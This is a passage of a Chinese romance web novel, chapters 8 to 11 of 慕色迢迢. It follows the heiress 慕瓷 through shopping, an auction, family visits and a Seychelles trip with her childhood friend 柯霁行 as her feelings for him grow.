廖姨在慕家二十多年，是看着慕瓷长大的，自然对慕瓷的喜好一清二楚。
“红烧小排、白灼虾怎么样？”
“刚好早上柯少爷让人送了新鲜的牡丹虾来。”
慕瓷舔了舔唇周一圈奶渍，“小行哥哥来过了？”
“是啊。对了，还给你带了东西。诺，就在客厅呢。”
慕瓷吃掉最后一口烤蘑菇，才不紧不慢的往客厅走去。
廖姨疑惑的往客厅看了一眼。
奇怪，往常只要是柯少爷送的礼物，慕瓷总是迫不及待要去看的，怎么今天这么平静？
下一秒，惊喜的叫声差点让廖姨被剪刀伤了手。
廖姨摇了摇头，果然，平静什么的都是假象。柯少爷送的东西，慕瓷怎么会不喜欢？
慕瓷确实喜欢，喜欢的不得了。
喜欢到她立刻马上迫不及待就给柯霁行打了个电话。
彼时，柯霁行正要去参加商业地产的会议，看到来电显示，他按下座机，让秘书通知他们先开始，才接起。
“看到礼物了？”
“小行哥哥！”女孩的喜悦不加掩饰地传递到他耳朵里，“你怎么会送我这个！！”
是一整套潜水装备。
慕瓷的潜水是柯霁行教的，OW和AOW证书也是柯霁行带她去仙本那考的。
只是慕港盛不喜欢慕瓷潜水，根深蒂固的思想，捧在手心里的宝贝，所有可能的安全隐患全都要隔绝掉。
柯霁行笑：“毕业旅行，我们去塞舌尔好不好？带你去看看三十米的海底世界。”
慕瓷心脏像是被温水浸泡，晕晕乎乎的，整个人仿佛至于云端。
“毕业旅行？”
慕瓷没想到，柯霁行居然有和自己一起去毕业旅行的计划。
她知道柯霁行很忙，所以压根没想过这个可能。
“你有时间？”慕瓷眼眸中闪着光，简直不可置信。
柯霁行低声笑了下，“当然，不然你以为我这段时间为什么这么忙，好不容易工作告一段落，昨天才落地，也不知道哪个小没良心的还不给哥哥好脸色。”
慕瓷喃喃道：“小行哥哥，所以你是为了和我去毕业旅行，这段时间才忙的不见人影？”
“月底好不好？我们可以去拉齐奥海滩看日落，去五月谷徒步看海椰子，去潜水看鱼群，还可以去海钓追鲸鱼。”
女孩心里像是绽放了一簇簇烟花，热烈美丽。
连着这段时间那些被冷落的、不可言说的情绪在这一刻全部飞到窗外去了。
“好。”她说。
只要是和你一起，就算是断臂悬崖，开出的也只会是最绚烂的鲜花。
8. 慕色迢迢
Chapter08
吃过午饭，慕瓷一通电话把温荔喊了出来。
温荔还在上班，慕瓷去接她。
车子驶入致豫，保安认识她的车，直接放行。
接过车钥匙，接待人员稳稳当当地替她将车子停入专用车位，慕瓷往致豫大门走着，给温荔发了条消息告诉她自己已经到了。
温荔很快回过来：[等我一下，马上下来。]
前台看见她，快步走来：“慕小姐，是去三十九层吗？我帮您按电梯。”
致豫是温家家族产业，温荔所在融资部就在三十九层。
“不用。”慕瓷说：“我在这等就好。”
“那我领您去会客室。”
慕瓷跟着前台往会客室走着，不远处忽然传来一道嗓音。
“瓷瓷。”
慕瓷抬头便看见温豫章正从电梯下来。
慕瓷喊人：“大哥。”
来人是温荔的哥哥温豫章，她跟着温荔喊。
温豫章温和道：“来找温荔？”
“我们约好了一起去商场。”
温豫章点点头，“好久没看到你了，有空来家里玩。”
慕瓷自然说好，过两天老师过寿，她本来也要去温家老宅。
温豫章还有事，没再多说，被人簇拥着离开。
温荔很快下楼，接过车钥匙：“我来开。”
慕瓷瞅瞅她。
她拿驾照的时间不短，只是很少有开车的机会，而温荔因为工作缘故，自己开车比较多，自然车技比她熟练。
“给你当司机还不好？”
慕瓷矜持的抬抬下巴：“勉强吧。”
温荔笑骂了她一句：“都是柯霁行给你惯的。”
“要买什么？去泰盛行不行？”
“就去那吧。想买几套泳衣，而且老师生日快到了，我想给他选个礼物。”
下午两点多，正是上班的时刻，虽然比不上早高峰，但往市中心去的车还是不少。
车堵住不动，温荔回她：“买泳衣？要去海边玩？”
慕瓷按耐不住内心的小雀跃，“柯霁行说毕业旅行要带我去塞舌尔潜水！”
温荔：“。”
温荔沉默，如果她没记错，当初傅靳纶好像提过一嘴，柯霁行连自己的毕业旅行都没去。
他是这么拒绝的：“不去，无聊死了，我是脑子进水了非得赶在毕业去旅行？恒清一堆事，别烦我。”
很好。她下次可以负责任的告诉傅靳纶，柯霁行脑子包进水的！
如假包换，柯大少爷自己亲口说的！
二十分钟后，两人到达泰盛商场。
慕瓷挽着温荔往里走，泰盛是恒清旗下商场，她们常来，轻车熟路。
慕瓷挑了好几件泳衣，温荔朝着另一侧努努嘴。
“不给柯霁行挑一件？”
慕瓷：“。”
女孩脸颊一瞬间烧红，眼神都不敢往那片瞟。
另一侧男士泳衣布料轻薄，四角的三角的——慕瓷不敢细看。
“啧啧。”温荔轻叹：“你现在害什么羞，到时候在塞舌尔还不是要看的？而且那时只有你们两人，你准备临时装瞎？”
“可以是可以啦，就是不知道柯霁行会不会相信噢？”
慕瓷：“……”
慕瓷快速接过SA递过来的手提袋，在小票上签好字，拉着这个口无遮拦的女人迅速离开这个是非之地。
“你有没有发现自己越来越毒舌了？是跟傅靳纶学的吧？是的吧！果然近墨者黑！”
“实话总是刺耳，你要习惯~”
慕瓷决定和她绝交一秒钟。
逛了好几家店慕瓷都没有看中心仪的礼物，两人准备先去买咖啡。
温荔要了杯冰美式：“随便选一件就好啦，反正你送什么我爷爷都喜欢。”
温歌一向喜欢慕瓷，疼慕瓷跟疼什么似的，有时候连温荔都有些小嫉妒。
慕瓷喝了口海盐奶盖，“谁让你当初放弃学画画？”
当初她和温荔一起跟着温歌学画画，本来她才是顺带的，可谁知后来温荔不乐意学了，三天打鱼两天晒网，倒是慕瓷坚持下来，后来更是进了美院。
温荔摊手：“我就没那个天分，继承不了我爷爷的艺术细胞，还好有你帮我顶着，不然我现在日子哪里有这么好过？”
当初她父亲温致远就没有继承温老爷子的衣钵，选择从商，温歌本就对温致远颇有微词，只能把希望寄托在孙子孙女身上，可谁知无论是温豫章还是温荔，全都半点艺术细胞都没有，反而都随了温致远，毕业后全进了致豫。
想到这个，慕瓷也觉得好笑，弯了弯唇。
“迢迢。”
身后有人喊她。
慕瓷回头，看见宋丞聿手里拿着杯咖啡站在不远处。
慕瓷眼睛倏地就亮了起来，她小跑过去，挽住男人的手臂。
“小舅舅！”
“你什么时候过来的？？”
宋丞聿揉了揉她发顶，“中午才到京市，本来准备晚点去看看你，没想到在这碰到了。”
“和朋友在这玩？”宋丞聿问。
“来逛逛，给老师份挑礼物——对了，这是温荔，我闺蜜。”
宋丞聿点头，他知道慕瓷和温老爷子的孙女走的比较近，只是从前没见过，这是第一次。
“你好。”
温荔：“小舅舅好。”
宋丞聿手机振动起来，他说了声抱歉去一旁接电话。
温荔左看看右看看，小声问慕瓷：“小瓷，你什么时候有一个这么帅的舅舅了？不对啊，你舅舅我见过，虽然也很帅没错了，但好像和这个长的不一样啊！”
“那是我大舅舅，这是小舅。”温荔见过的是宋丞绍，之前宋丞绍回国给她过生日，两人有过一面之缘。
“小舅舅在港城待的多，这次估计是出差。”
温荔羡慕了：“你究竟有几个好舅舅啊？一个个都这么帅，极品！”
“……就两个，你现在全部见着了。”
宋丞聿挂了电话过来：“晚上有个晚宴，还有场拍卖会，要不要跟舅舅去玩会儿？”
“拍卖会？”
“嗯，你不是要给老师买礼物吗？如果没挑到中意的可以过去看看，听说今晚有几个古董还不错。”
想到温歌确实喜欢古玩，慕瓷准备和宋丞聿一起去，她问温荔：“一起去吗？”
“我就不去了，我晚上和傅靳纶约好了。”
慕瓷也没强求，“那你把我车开走，我跟小舅走。”
她使了使眼色，把手提袋递给她：“衣服放车里吧，我回头去拿。”
温荔没多想，以为私密衣物慕瓷害羞，接过手提袋和两人告别。
两人分开之后，慕瓷跟着宋丞聿上了车。
司机问去哪，宋丞聿沉吟片刻，报了一个常去妆造工作室的名字。
要去参加晚宴，两人自然得换身衣服。
车子平稳汇入车流，慕瓷问：
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“小舅，你这次来京市出差吗？预计呆几天？”
“嘉沃分院这边有个会诊，我过来看看。顺便谈个合作。”
宋丞聿是嘉沃医疗创始人，嘉沃医疗总部在港城，前些年在京市开了分院。
其实现在宋丞聿已经不大接临床了——毕竟私人医院不像公立，商业性质比较浓，宋丞聿作为创始人平常要处理的事情太多，也没时间坐诊。只是在碰到疑难杂症的时候会参加一下会诊，给出建议。
宋丞聿：“最近身体有没有哪里不舒服？”
几乎宋丞聿每次来都要问这个问题，慕瓷回答也和之前一样：“没有，小舅放心吧，我身体好的很！”
偏头观察了下慕瓷的脸色，面色红润，看来这段时间过得还不错。
但他还是说：“明天去嘉沃做个体检。”
慕瓷如临大敌：“小舅舅！我身体真的倍棒，不信我明天跟你去攀岩！”
宋丞聿喜欢攀岩，小时候慕瓷跟着去了不少次，也慢慢喜欢上了这项运动——不过自从宋倾去世，宋丞聿就再也不带她去玩那些东西了，连带着他自己也去的少了。
果然，宋丞聿皱眉：“都说了少做些激烈运动——”
慕瓷知道宋丞聿在担心什么，但她觉得他就是太小心翼翼了。
“小舅舅，我这些年做的体检还少吗？哪一回检查出问题了？你就放一百个心吧！”
宋丞聿喊她小名：“迢迢。”
“乖一点，明天舅舅来接你。”他看着慕瓷的眼睛：“别让舅舅担心。”
对上宋丞聿的视线，慕瓷这才不情不愿的点头：“那好吧。”
*
海柘庄园。
慕瓷挽着宋丞聿的手臂走进宴会厅，侍者在前面领路：“宋总，这边请。”
宴会厅里已经来了不少人，看见宋丞聿进来，有不少人过来打招呼。
有人不认识宋丞聿，小声问同伴：“这是谁啊？”
“宋丞聿，嘉沃院长。”
嘉沃这几年崭露头角，就连他们这种不关注医疗系统的也知道如今嘉沃势头正猛，颇有成为头部医疗的意思。
但毕竟只是个医院，也不至于这么多人围着打招呼吧？
有人补充道：“他姐夫是慕港盛。”
众人心下一惊。
慕港盛。
“……是港城那个慕氏集团的董事长吗？”
“不然还有几个慕港盛？”
“慕董妻子姓宋吗？没听说啊，这么低调吗？”
“嗯，”有人知道点内情：“听说早年去世了，但这么多年了慕董一直没再找，和两个小舅子关系也很是不错。”
所以这些人里面很大一部分是想和慕氏搭上线才与宋丞聿套近乎。
宋丞聿应付了几个想上来搭话的人，从侍者托盘中拿了杯香槟递给慕瓷，让她先去包厢休息。
“丞聿。”
宋丞聿回头，看到晏商弋带着妻子沈清榆走了过来。
“还说怎么没看到你。”
“恰巧碰到外甥女，接她过来一起玩玩。”
圈子里的人只知道慕港盛有个独生女在京市读书，但却很少有人见过慕大小姐真面目——除了慕港盛对女儿的保护以外，他们更是听说这位慕小姐和恒清的柯总青梅竹马，从小一起长大。
而柯总对这位小青梅有求必应，藏得极深，一般场合压根不带出来！
听到宋丞聿的话，众人这才反应过来刚刚宋丞聿身边的女人竟是慕港盛的女儿！
9. 慕色迢迢
Chapter09
宋丞聿这次来京市是和航惟谈合作的，航惟现在基本是晏燃在管，晏商弋已经慢慢放权。
宋丞聿听说过晏燃，只不过关于这位小晏总的传闻多是关于私生活——有传言晏燃睡过的女人比航惟的员工还要多。
虽然有夸张的嫌疑，但也从侧面说明这位小晏总风流不羁，流连花丛。
只不过今天短短交谈了十几分钟，宋丞聿对晏燃有了改观。
传闻也不能全信，至少在工作魄力方面，这位小晏总不输柯霁行。
——他在京市呆的时间少，也只能拉自家外甥女天天挂在嘴上的“小行哥哥”做对比了。
宋丞聿走后，晏商弋叮嘱晏燃：“听说慕港盛女儿快毕业了，你有空选份礼物。”
晏燃扬眉，“我？给她送礼物？？”
晏燃心说，又不逢年又不过节，更不是过生日，就毕个业用得着这么兴师动众么。
晏商弋：“城西那个项目已经在和慕氏接洽了，礼数做到位——给慕董留一个好印象准没错。”
晏燃轻嗤一声：“您还是别惦记了吧，以恒清和慕氏的关系，这项目轮不到航惟。”
柯霁行也不会放过这块肥肉。
晏商弋恨铁不成钢：“慕氏和恒清的关系为什么这么近？”
“你长得也不比柯霁行差啊，你怎么就讨不到慕小姐欢心呢？”
晏燃：“……”
晏燃不可置信。
他指了指自己：“爸，你为了公司连自己亲儿子都出卖？？”
晏商弋冷酷：“我倒是想出卖，可人家不领情。”
晏燃：“。”
晏燃气笑了。不说别的，柯霁行那个眼里只有工作的男人，怎么可能会比他讨女人喜欢？！若不是占了青梅竹马这个名头哪里轮的到他？？
再说——
“我又不是脑子抽风了，怎么会去招惹这种豪门大小姐？”
万一之后闹得难看，两家还要不要合作？已经牵扯的业务是做还是不做？别扯那些分手之后还能做朋友，纯粹是瞎扯淡。这种吃力不讨好的事情但凡有点脑子的人都敬谢不敏。
晏商弋懒得理他。
*
慕瓷刚刚拍了一件古董花瓶，是老师喜欢的风格。
生日礼物已经选好，她没再关注拍卖会，而是撑着脑袋看旅行攻略，哪里景色好，哪些地方适合情侣去逛，她默默把查到的这些Tips全都存进备忘录。
不知上了件什么拍品，耳边竞价越来越高，直到竞价拍到五千万，她终于放下手机好奇的抬头：“在拍什么？这么贵？”
宋丞聿：“粉钻。”
从小到大，慕瓷收到的珠宝数都数不清，爹地送的、妈咪留给她的、舅舅们送的、还有柯霁行送的，衣帽间都要堆不下。
饶是这样，慕瓷看到这颗粉钻时，也忍不住多看了两眼。
这颗粉钻是心形的，不是饱和度过高的粉，淡淡的，看起来很舒服。
“喜欢？”
慕瓷点头，“还可以。”
宋丞聿出了价。
又有几个人跟着出价，最后只剩下五号包厢里的人跟宋丞聿在竞价。
宋丞聿往那边扫了一眼，身后有人适时提醒：“五号是小晏总。”
慕瓷瞬间了然，都是一个圈子，她当然认识晏燃，之前慕港盛还带她参加过晏燃的生日宴会。
不过两人平常没什么交集，自然更没什么联系。
宋丞聿不紧不慢咬着价格，眼看着竞拍价已经到了一千五百万，慕瓷拉了拉宋丞聿的衣角，不让他再加价。
“小舅舅，算了。我平常也不怎么戴首饰，放在衣帽间也是吃灰，让给小晏总吧。”
东西好看是好看，但也算不上有多特别，况且慕瓷对这些向来看得淡。
况且嘉沃和航惟还有合作。
慕瓷：“说不定这粉钻是小晏总拍来求婚用呢，咱们还是别夺人所好了。”
既然慕瓷说不要，宋丞聿就没有再拍，最后晏燃以一千五百万的价格拍下了这颗粉钻。
慕瓷看了下时间，扭头小声和宋丞聿说：“小舅舅，我想回去了。”
宋丞聿要办的事情都已经办完：“我送你。”
*
宋丞聿让司机去山泰湾，慕瓷无意识扣了扣手，小声报了鹤湖别院的地址。
宋丞聿瞥她一眼，“什么时候买了新房子？”
慕瓷莫名有些心虚，她别开视线：“是小行哥哥的房子。”
宋丞聿没说话。
“小舅舅！那里离我学校近嘛，住那里方便，再说小行哥哥也不常常来……”
想到刚刚柯霁行给自己发消息说今天会回鹤湖别院，慕瓷声音越来越小。
宋丞聿偏头没答声。
慕瓷偏过头看他，左看看右看看，抱着他手臂撒娇：“小舅舅~”
“你毕业后有什么打算，真的不回港城吗？”
慕瓷老实说：“还没想好。”
只是恒清在京市，如果她回港城，岂不是和小行哥哥不能常常见面了？
但是慕港盛在港城，她也想陪陪爹地。
宋丞聿看着窗外夜色没说话。
上次他见到慕港盛，发现慕港盛白发多了不少，每次和他聊天基本也都是聊慕瓷。他和慕瓷只差十岁，从小慕瓷和他沟通比较多，有些心里话也愿意和他说。
自从宋倾去世，父女俩分隔两地，地域限制交流自然变少。
慕瓷中学时，慕港盛有想过让慕瓷回港城，但那时候慕瓷已经开始跟着温老爷子学画画，看她对画画很感兴趣，慕港盛也就没强求。
沉默片刻，宋丞聿只说：“有空回去看看你爹地。”
慕瓷点头：“我准备忙完这阵就回趟港城，刚好妈咪生日要到了。”
她和爹地更习惯给宋倾过生日而不是忌日。
下车前，宋丞聿提醒她：“明天我来接你。”
想到要去医院，马上要看到柯霁行的小雀跃都飞走不见，慕瓷不情不愿的应了。
*
按下指纹进门，柯霁行正在吧台倒水。
“回来了？”
察觉到慕瓷的情绪，柯霁行问：“不是和小舅舅去拍卖会玩了么？怎么还不高兴了？”
柯霁行和宋丞聿只差三岁，这声小舅舅他做了十几年的心理建设如今才能神色如常的喊出来。
慕瓷接过柯霁行手里的玻璃杯，神色自然喝了口，再顺手把杯子塞他手里，蔫蔫儿的窝在懒人沙发上。
“小舅舅又要我去体检。”
柯霁行垂眼，看了下手里的水杯，顿了顿，才不紧不慢走了过去。
“检查下也好。”男人漫不经心地用指节摩挲水杯。
慕瓷瞅着他。
柯霁行失笑，哄她：“机票定二十四号的可以吗？我们去港城转机，顺便看看你爹地。”
慕瓷眼睛倏地就亮了起来：“真的吗
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？你要陪我回港？！”
柯霁行：“从京市出发的时间不太好，都在凌晨。港城航班时间还算不错，上次和慕伯父通电话，说你好久没回去了。”
其实这边航班也不全都是凌晨，只是慕瓷提过好几次要回港，但一直都没有机会，绕道去一趟也没什么。
“小行哥哥你真好！”
倏地，女孩抱了他一个满怀。
柯霁行怔住了。
慕瓷很快放开，拿着手机往房间走，小声嘀咕：“我要去和爹地通个电话，告诉他这个惊喜！”
柯霁行看着她的背影，不知是第几次低头又看了一眼手中的玻璃杯。
可能最近睡眠太少昏了头，他将杯子放到吧台，转身也回了房间。
*
接下来好几天慕瓷都没见着柯霁行的面。温歌生日这天，慕瓷提前到了温家老宅。
她先去见了温歌，把生日礼物送给他。
温老爷子在书房练字，看到她来，招了招手：“小瓷你来。”
“这字这么样？”
慕瓷走到他身后，国画大师的书法自然也不差，他写下最后一个“风”字，将笔搁下。
［桑榆非晚，柠月如风］
“上回豫章去港城出差，你父亲公务繁忙还亲自接待。”
“爹地之前总说大哥性格好，处事大方、待人接物都挑不出错，还让我多和大哥学学。”
慕港盛很欣赏温豫章，曾赞叹过他有君子之风。
慕瓷笑笑：“不过我这性格学不来大哥半分。”
温歌哈哈大笑：“女孩子哪用那么严苛？不过豫章性子随他父亲，温和会疼人，你温伯伯结婚这么多年，从来没有和你伯母红过脸。”
“况且你也不差，你父亲和你母亲把你教的很好。”
想到宋倾，温歌叹了口气：“转眼你都要毕业了，若你母亲看到你如今这样一定也很欣慰。”
慕瓷垂下眼睛。
温歌摆摆手：“不说了。对了，之前答应给你父亲写副字，下回豫章去港城出差就让他把这副字带过去。”
慕瓷道：“大哥最近有去港城的行程？我后天也要回港。”
温歌讶异：“正好，让豫章和你一块儿回。”
“那我回头问问大哥安排。”
这一句句“大哥”给温歌听的头晕：“你怎么喊他喊的一板一眼的？”
慕瓷茫然：“不对吗？温荔喊大哥，我不都跟着温荔喊么。”
温歌看她一眼。
怎么没见她喊柯霁行喊“大哥”？
不是整天叫他大名叫的很欢快吗？
温歌停顿片刻，问：“小瓷，你觉得豫章怎么样？”
温老爷子年过古稀，头一回当众推销起自己孙子，颇有些不习惯，他清了清嗓子，端起杯子掩饰般喝了口茶。
他是真喜欢慕瓷这个小姑娘，如果能和豫章在一起，再好不过。他看温豫章对慕瓷也不是完全没有那个意思——温老爷子了解自己的孙子，温豫章就是性格温和，想法都放在心里。他和慕瓷岁数差了不少，估计他自己心里也有顾虑，加上慕瓷还小，远不到谈婚论嫁的年纪，就先按下不提。
只是最近已经有不少人蠢蠢欲动向他打听慕瓷，他当然有私心，若是可能，他想替豫章争取一下。
不然这孩子得憋到什么时候？
温老爷子话音刚落，慕瓷一抬头，刚好看见柯霁行和温豫章竟一起来了，在屏风处不知站了多久。
10. 慕色迢迢
Chapter10
一顿晚饭吃的慕瓷差点消化不良，她怎么也想不到老师竟然想给她和温豫章牵红线。
回家路上，她实在憋不住拿出手机和温荔发消息：【老师怎么想的啊？我和你哥？？？】
温荔：【谁知道呢，之前还想把我介绍给晏燃！你知道我回到房间发现一堆搔首弄姿的照片是什么心情吗！差点以为哪个道士在我房间做法！】
慕瓷：“……”
慕瓷没忍住弯了弯唇：【小晏总知道他的照片可以辟邪么？】
红灯亮起，柯霁行看了眼从上车就一直在低头发消息的人，状似不经意的问：“这么晚和谁聊天？”
还聊那么开心。
慕瓷指尖动作没停：“温荔。”
想到刚刚上车前温豫章让管家搬上车的一箱杨梅，柯霁行松了松领带。
绿灯，柯霁行一脚油门。
慕瓷小声嘀咕：“开慢点，我看手机呢，一会晕车。”
柯霁行：“……”
男人把车速降了下来。
手机再次震动，温荔：【不用放在心上，大哥没结婚身边又好久没人，爷爷这两年越来越着急了，但凡只要是合适的女孩，他都要凑个热闹。】
温荔怕她和温豫章心里有隔阂，又发来消息：【反正你和我哥都没那个意思，该怎么相处就怎么相处。】
慕瓷想想也是，便没再纠结这件事。
只是……想到刚刚柯霁行也听见了那句话，慕瓷偏头看了他一眼。
柯霁行一下就抓住了她的视线：“怎么？”
慕瓷瞅他：“你就没什么想问我的？”
听到她这么问，柯霁行刚还有些莫名的情绪忽然就消散了。
“我有什么想问的。”柯霁行笃定道：“你和温豫章，不可能。”
慕瓷：“……”
她忍了一下，没忍住：“你怎么知道不可能？”
车子驶入山泰湾，男人扫了眼后视镜，右转把车停入车库，下车去副驾给慕瓷开车门。
他没回她那句话，慕瓷撇撇嘴，包也没拿就往家里走。
柯霁行拿起她那巴掌大的小包，几个跨步走到她身侧。
半句也没提温豫章送她的杨梅。
“你这包能装什么？”
“装可爱。”
柯霁行：“……”
柯霁行手机振动起来，他接起电话。
西装革履的男人一手接打电话，另一只手拎着她的雾霾蓝小方包，随意的挂在左肩上。
慕瓷视线在他身上逗留了好久，看了一眼，又看了一眼。
自己的物品挂在他身上，像是柯霁行这个人被打上她的专属烙印。
女孩莫名奇妙的占有欲得到满足，慕瓷决定原谅他刚刚不回答自己问题那件事。
柯霁行把电话挂了，把人送到家门口，顺手把手里的包给她放在玄关上，没进去：“好好休息一下，明天起来收拾下行李，后天我来接你。”
*
温豫章去港城还有公事，带了几个高管，他提前申请了航线，最后变成了柯霁行和慕瓷蹭了温豫章的私人飞机。
下午六点十分到港，慕港盛安排了秘书来接。
来人是跟在慕港盛身边多年的总助方荃。
上车前，慕瓷礼貌邀请温豫章去家里住，温豫章婉拒了。
“时间太晚，麻烦小瓷帮我和慕董说一声，我明天再去拜访。”
方荃问：“温总，需要帮您安排车吗？”
温豫章：“不必麻烦，公司已经安排了。”
慕瓷没有强求，和柯霁行上了黑色的宾利。
慕家别墅在半山，机场过去大概一个小时的路程，到家的时候已经快七点半。
慕港盛在门口等，车刚停稳，慕瓷便像倦鸟归林般投入了慕港盛的怀抱。
“爹地！”
慕港盛在外严肃，对这个唯一的女儿却宠爱有加：“路上累不累？饿了吧？”
柯霁行从车上拿了被慕瓷遗忘的手机，朝慕港盛点头：“伯父。”
慕港盛点头，女儿在京市都是柯霁行照顾，他对柯霁行感激有加。
有些话不必多说，况且在他心里柯霁行和亲儿子没什么区别。
柯霁行对慕家和对自己家一样熟悉，每次来港也是住慕家住的比较多，慕家有专门留给他的房间。
管家将他们的行李拿到各自房间。
慕瓷挽着慕港盛的手进了饭厅，柯霁行跟在身旁。
慕港盛说：“方荃一块吃点。”
“豫章不是一起来了吗？怎么没一起过来？”
方荃：“温总带了人，估计有事要办。”
慕港盛对方荃说：“估计还是上回项目的事，明天你过问一下。”
之前温豫章已经来过一次，和慕氏谈项目，最后没谈成。
见到慕港盛的时候他半点口风也没透露，还是前几天底下人汇报工作，慕港盛才得知。
毕竟这些年承了温家的情，只要有机会，慕港盛愿意还上几分。
方荃明白慕港盛的意思，“明天我亲自跑一趟。”
几人落座，慕瓷要和慕港盛挨着坐，柯霁行和方荃在两人对面落座。
慕港盛准备了瓶年份比较久的红酒，已经醒好，方荃给慕港盛和柯霁行分别倒上。
慕瓷手边是一杯鲜榨橙汁。
“迢迢尝尝看爹地的手艺退步没有。”
慕港盛夹了块排骨放到慕瓷的碗碟上。
慕瓷咬了口，还是记忆里熟悉的味道。
之前宋倾还在的时候，慕港盛再忙每周也会抽出一天的时间亲自下厨。
——只是后来慕家出事，慕港盛和宋倾回到港城，再到后来宋倾去世，那些时光就仿佛随着宋倾一起埋在记忆深处了。
一桌的菜，基本都是慕港盛做的，慕瓷垂着眼睫，爹地一定忙活了一整天。
忽然，手边放下一碗牛肉羹。
慕瓷抬头，男人收回手，净白的骨节从她眼底划过。
“喝点汤。”
慕港盛端着酒杯，看了会：“怎么突然想去旅行？”
“霁行，不耽误你工作吧？”
“不会，本来也打算休个假放松一下，刚好碰上迢迢毕业旅行索性一起去了。”
恒清现在是柯霁行掌权，到他这个位置，权力越高责任自然也就越大，慕港盛感同身受，明白他们其实哪有真正休息的时候？
不过是挤出时间陪慕瓷。
连这地点恐怕都是按着迢迢的喜欢决定的。
慕港盛从来不舍得对慕瓷说重话，但某些事情上，他不肯退让半分。
慕瓷喜欢的东西慕港盛不会拦着，
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她喜欢潜水，之前跟着柯霁行考证，慕港盛也是默许的——但现在不同了。
只是女儿长大了，在人前慕港盛不会说教。
饭后，方荃离开，柯霁行去处理工作邮件，慕港盛才和慕瓷说起这件事。
“去玩可以，但不能下水。”
慕港盛在花园里给花浇水。
——他再忙，这些花也亲自养着。
别墅是慕港盛和宋倾早年买下的，当初他们虽然回了港城，但却没有回老宅住。
家里装修是宋倾一手操办的，连这花园里的一草一木都是宋倾亲自种下的，她在的时候都是自己照顾，她不在了，慕港盛就替她照顾，不肯交给管家。
自从宋倾走后，身边的人对她都极致小心，有时候慕瓷觉得自己快喘不过气，但看着慕港盛在夜色中的背影，慕瓷忽然就不想为了这种小事和他争吵。
只有活着的人才明白平淡的每一天有多么珍贵。
“爹地，你想妈咪了吗？”
慕港盛笑了一下，慕瓷很久没在慕港盛脸上看到这样的笑容了。
“你妈咪一直在我心里，从未离开。”
*
第二天慕瓷和柯霁行就直接从港城飞到了塞舌尔。
酒店已经提前预定好，是个隐私性很好小岛上的私人别墅，落地窗外就是果冻般的大海，顶楼还有个游泳池。
他们现在生物钟乱七八糟，囫囵吃完在海岛的第一顿午餐，连别墅都没仔细逛一逛，就倒头睡得昏天黑地，再次醒来的时候天已经黑了。
配备的厨师已经准备好晚餐，本来是安排在沙滩上，但是慕瓷说不想吃混着海沙的牛排，最终柯霁行将晚餐改到了玻璃房。
慕瓷换了件墨绿长裙下来，柯霁行替她拉开餐椅，两人落座。
厨师亲自上菜，最后热情地用英文对面前英俊的男人和美丽的小姐说了句：“希望你们有一个难忘的夜晚。”
明明是国外一句很平常的问候语，但他们面前纯白的桌布上还应景的燃着两只红烛，餐桌上还有一只耀眼的红玫瑰，慕瓷心里颤了颤，莫名不敢对上柯霁行的目光。
耳边是柯霁行礼貌疏离的回答：“谢谢，你们也是。”
柯霁行喜静，管家和厨师安排好一切就离开了别墅。
佐餐酒有香槟，但可能在度假，柯霁行难得放松，起了兴致问慕瓷要不要喝特调。
男人嗓音温柔带笑，说出的话也很蛊惑人心：“只为迢迢小姐特调。”
“要不要？”
慕瓷心尖颤抖。
怎么会不要，她都快要溺毙在他温柔又强势的目光中。
在这之前慕瓷从来没有想过，会在这样一个时刻，一个男人随口说出一句话就像一颗子弹那样轻而易举的击中并且俘获她的心脏。
也从来没有哪一刻像这一刻让她后知后觉的感受到，原来她是真的爱上面前这个男人了。
这个从小看着她长大，对她有求必应的竹马哥哥。
女孩起身，牵起裙摆，略微屈膝，朝着玻璃窗前肩宽背阔的男人做了个西班牙公主屈膝礼。
“我的荣幸。”
这一刻，慕瓷清楚明白地知道他不再是她的哥哥，她看他的眼神也不再清白，她看着自己正在一点一点沦陷，但她却一点儿也不想抗拒这种改变，哪怕她不知道悬崖深处有什么在等着她。
11. 慕色迢迢
Chapter11
男人动作利落干脆，没一会儿就将一杯橘红分层的特调推到她面前。
慕瓷不知道原来他调酒也这么厉害，她甚至都没看清他的动作。
“好漂亮，叫什么名字？”
漂亮的像一幅油画，有点儿像夕阳。
女孩眼眸里像是有光在闪，亮晶晶的。
到了嘴边的话忽然转了个弯。
“慕色迢迢。”男人嗓音低沉，决定给这杯酒临时改个名。
冰块的凉意从指尖传来，似乎带着全身都陡然激起一股酥麻震颤，她压下内心的波动，故意道：“小行哥哥，你别唬我，这难道不是你现取的名？”
男人闷笑了几声，往后靠了靠，姿态放松随意：“别人做的不叫这个，但这一杯我大概还是有命名权？就叫这个。”
男人语气带着一股笃定与漫不经心，慕瓷没出息的再次为这样的柯霁行心动不已。
“里面有伏特加，尝尝就行，别喝醉了。”
慕瓷小心翼翼端起玻璃杯，酸酸甜甜，她很喜欢。
“不要，”女孩拒绝，“我要全部喝完，不是为我特调吗？”
用完餐，慕瓷撑着脑袋看着玻璃外的海浪翻涌。
大概是有些醉意了，女孩咬着吸管慢吞吞的喝着还剩小半杯的特调。
柯霁行难得放松，他晃了晃杯中满冰的伏特加，问她：“要不要去海边走走？”
慕瓷点头说好。
她今天穿了件粉色花瓣抹胸长裙，海岛风大，柯霁行上楼替她拿衣服。
“柯霁行，我要那件白色蕾丝披肩！”女孩一点也不客气，喝醉了也要爱美。
他们都住在二楼，房间相邻。
衣帽间里慕瓷的三个行李箱摊开随意地摆放着，柯霁行在其中一个行李箱里找到她说的白色蕾丝披肩，薄薄一件捏在手里仿若无物，蕾丝边蹭过他硬挺的手心，男人心里划过一丝异样，情绪太快，他没捕捉到。
行李箱已经被慕瓷翻得不成样子，他拿出披肩的时候意外带出另一件，看清那件衣物，男人捡起的动作顿了顿，下一秒，替她将东西放回原处。
两人沿着海岸线慢悠悠的走，漆黑的夜幕之下只有远处有几个明明暗暗的灯光，耳边是海浪冲击沙滩的声音，时光仿佛停滞在这一刻，慕瓷脱掉高跟鞋，随意地踢到沙滩上。
她拎起裙摆，脚踩着海水玩。
白天的海蓝的像果冻，黑夜下的海却黑的纯粹，衬的女孩白嫩的脚衬得更是白的晃眼。
圆润的脚趾顺着海浪的方向踢着海水玩。
柯霁行移开视线，俯下身子将她被埋没的高跟鞋捡起来，拍掉浮沙。
男人今天穿了件白色长袖衬衫，大概刚刚喝过酒，袖口随意的叠起，手腕上百达翡丽的腕表在夜色中折射出一抹银光，整个人慵懒又随意，就这么半靠在石块旁看着她。
不知何时，慕瓷停下了戏水动作。
男人此刻的眼神温柔的不可思议。
慕瓷发丝被风吹起，她将头发挽到耳后，喊他：“柯霁行！”
